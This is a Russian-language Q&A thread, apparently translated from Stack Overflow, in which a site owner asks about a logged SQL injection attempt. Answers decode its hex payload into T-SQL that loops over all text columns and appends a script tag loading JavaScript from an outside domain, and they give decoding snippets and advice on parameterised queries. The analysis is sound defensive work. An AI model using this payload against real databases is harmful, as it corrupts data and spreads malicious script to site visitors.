Попытка SQL-инъекции - что они пытаются сделать?
У меня есть веб-сайт с открытым доступом, который за последние несколько недель получает несколько атак SQL-инъекций. Я исключительно использую параметризованные хранимые процедуры, поэтому я считаю, что успешных атак не было, но недавний журнал показал интересную технику:
Для ясности добавлены разрывы строк
http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%[email protected]%20CHAR(4000);SET
@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263
686172283430303029204445434C415245205461626C655F437572736F7220435552534F
5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F
626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69
6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72
20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970
653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420
46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528
404046455443485F5354415455533D302920424547494E20657865632827757064617465
205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C
736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373
7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077
6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73
6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372
73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854
2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043
4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43
7572736F72 AS CHAR(4000));EXEC(@S);&_X="
Кто-нибудь может пролить свет на то, что пытается сделать CAST и EXEC?
Ответы
Ответ 1
Ниже представлен декодированный SQL, который они пытались нажать:
DECLARE @T varchar(255),
@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id
AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT
FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['[email protected]+'] SET ['[email protected]+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['[email protected]+'] WHERE '[email protected]+' NOT like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Ответ 2
Код, когда он расшифровывается из hex в символы, кажется, проходит через все ваши таблицы базы данных, выбирает все столбцы типа text/ char, а в конце каждого значения этого типа добавляет вредоносный script исполнение из http://www2.s800qn.cn/csrss/w.js
. Теперь, если на вашем сайте у вас есть хотя бы одно место, где вы не избегаете текстовых данных, полученных из вашей базы данных, пользователи вашего сайта будут иметь этот вредоносный script, выполняемый на своих машинах.
Ответ 3
Запустите это, например, в mysql:
select CAST(0x44...72 AS CHAR(4000)) as a;
и вы узнаете. Ishmaeel вставил код.
Это червь SQLserver, а не целевой atatck.
Ответ 4
Я думаю, что у нас была эта атака раньше. Он пытается вставить тег <script>
в каждое поле в каждой таблице в базе данных.
Ответ 5
Это рекламно-пипетка script, созданная для засорения вашей базы данных тегами <script>
, которые отображаются на ваших страницах. Он закодирован, потому что большинство серверов взорвется, если вы попытаетесь нажать этот мусор через URL.
Большинство подобных вещей - это случайные попытки-атаки, в результате чего они ударяют все с помощью querystring, но это может быть целенаправленная атака. Проверьте свой сайт, чтобы убедиться, что он не позволяет выполнять SQL-запросы с помощью querystrings. Просто использование параметризованных запросов должно охватывать вас.
Ответ 6
Самый простой алгоритм Python для дешифрования шестнадцатеричного кода:
text = "4445434C415245204054207661726368617228323535292C404..."
def getText():
for i in range(0, len(text), 2):
byte = text[i:i+2]
char = int(byte, 16)
toPrint = chr(char)
yield toPrint
print ''.join(getText())